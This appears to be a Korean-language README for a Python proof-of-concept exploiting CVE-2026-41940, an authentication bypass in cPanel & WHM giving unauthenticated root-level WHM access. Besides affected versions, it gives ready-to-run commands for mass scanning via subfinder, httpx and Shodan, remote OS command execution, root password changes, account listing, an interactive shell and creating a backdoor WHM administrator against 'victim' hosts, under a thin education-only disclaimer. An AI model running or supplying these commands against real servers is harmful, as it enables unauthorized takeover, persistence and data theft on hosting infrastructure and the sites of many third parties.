cPanel & WHM 인증 우회를 악용하는 Python PoC인 CVE-2026-41940으로, 인증되지 않은 루트 수준의 WHM 접근을 가능하게 하며, 스캐닝 및 포스트 익스플로잇 셸 명령을 포함합니다.
⚠ 이 도구는 교육 또는 버그 바운티 목적으로만 제작되었습니다. 통제된 환경 외부에서의 무단 사용은 엄격히 금지됩니다.
CVE-2026-41940을 익스플로잇하기 위한 도구로, cPanel & WHM의 치명적인 인증 우회 취약점(CVSS 10.0)입니다. 인증되지 않은 공격자가 Authorization 헤더를 통해 서버 측 세션 파일에 CRLF 시퀀스를 주입하여 자격 증명 없이 루트 수준의 WHM 접근 권한을 획득할 수 있습니다.
CVE-2026-41940은 일반적으로 cPanel/WHM에서 시스템이 인증 세션을 처리하는 방식의 결함을 통해 익스플로잇됩니다. 공격은 일반적으로 로그인 인터페이스에 대한 정상적인 요청으로 시작되며, 여기서 애플리케이션이 사용자 자격 증명을 완전히 검증하기 전에 세션을 조기에 초기화합니다. 세션 관련 입력의 부적절한 처리로 인해 특정하게 조작되거나 예상치 못한 입력 구조가 서버에서 세션 데이터가 저장되거나 해석되는 방식을 변경할 수 있습니다.
| 버전 | 취약 | 패치됨 |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/yasouxken/CVE-2026-41940-PoC
cd CVE-2026-41940-PoC
# Windows
python cve.py
# MacOS/Linux
python3 cve.py
이 도구는 대상 도메인을 지정해야 합니다.
단일 대상 모드:
python cve.py -u https://target1.com:2083
target.txt 파일(생성 필요)에서 스캔할 수도 있습니다:
python cve.py -l target.txt -t 50 -o result.json
사용 가능한 명령어:
python cve.py -u https://victim1.com:2083 # 단일 대상 스캔
python cve.py info -u https://victim1.com:2083 # 시스템 정보(버전, 부하, 디스크 사용량)를 가져옵니다.
python cve.py host -u https://victim1.com:2083 # 대상 서버의 호스트 이름을 가져옵니다.
# 서버의 모든 계정 나열
python cve.py list -u https://target.com:2087
# OS 명령어
python cve.py cmd -u https://target.com:2087 --cmd "id;whoami;uname -a"
python cve.py cmd -u https://target.com:2087 --cmd "ls /home"
# 서버 정보 가져오기 (호스트 이름, 디스크, MySQL 호스트)
python cve.py info -u https://target.com:2087
# 루트 비밀번호 변경
python cve.py passwd -u https://target.com:2087 --passwd 'NewPassword1423!!@'
# 대화형 WHM 셸
python cve.py shell -u https://target.com:2087
# subfinder → httpx → cPanelSniper
subfinder -d victim.com -silent | \
httpx -silent -ports 2085,2086 -threads 50 | \
python cve.py scan -t 40 -o results.json
# 범위 목록에서
cat scope.txt | \
httpx -silent -ports 2085,2086 -threads 100 | \
python cve.py scan -t 30 -o results.json
# Shodan 결과
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python cve.py -t 30 -o shodan_results.json
# 여러 소스 결합
{ subfinder -d victim.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python cve.py -t 20 --action list
성공적으로 실행한 후 대화형 WHM 셸을 열 수 있습니다:
python cve.py shell -u
| 명령어 | 설명 |
|---|---|
id | 사용자 ID 표시 |
hostname | 서버 호스트 이름 가져오기 |
accounts | 모든 사용자 계정 나열 |
info | 부하, 디스크, MySQL 호스트, 버전 |
cat <path> | 파일 내용 읽기 |
exec <cmd> | OS 명령어 실행 |
newadmin <user> <pass> | 백도어 WHM 관리자 생성 |
passwd <pass> | 루트 비밀번호 변경 |
l [path] | 디렉터리 나열 |
help | 모든 명령어 표시 |
exit | 셸 모드 종료 |
usage: cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT]
Target:
-u, --url URL 단일 대상 URL (예: https://host:2087)
-l, --list LIST URL이 포함된 파일 (한 줄에 하나씩)
--hostname HOSTNAME 표준 Host 헤더 재정의 (자동 검색)
Scan:
-t, --threads N 동시 스레드 (기본값: 10)
--timeout N 요청 타임아웃 초 (기본값: 15)
--rate-limit N 대상 간 지연 (기본값: 0)
--force cPanel 감지 검사 건너뛰기
Post-Exploit:
--action ACTION 작업: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS 새 루트 비밀번호 (--action passwd)
--cmd CMD OS 명령어 (--action cmd/exec)
--new-user USER 새 cPanel 사용자 이름 (--action adduser)
--new-domain DOMAIN 새 cPanel 도메인 (--action adduser)
Output:
-o, --output FILE 결과를 JSON 파일로 저장
--no-color ANSI 색상 비활성화
⚠ 이 도구는 교육 또는 버그 바운티 목적으로만 제작되었습니다. 통제된 환경 외부에서의 무단 사용은 엄격히 금지됩니다.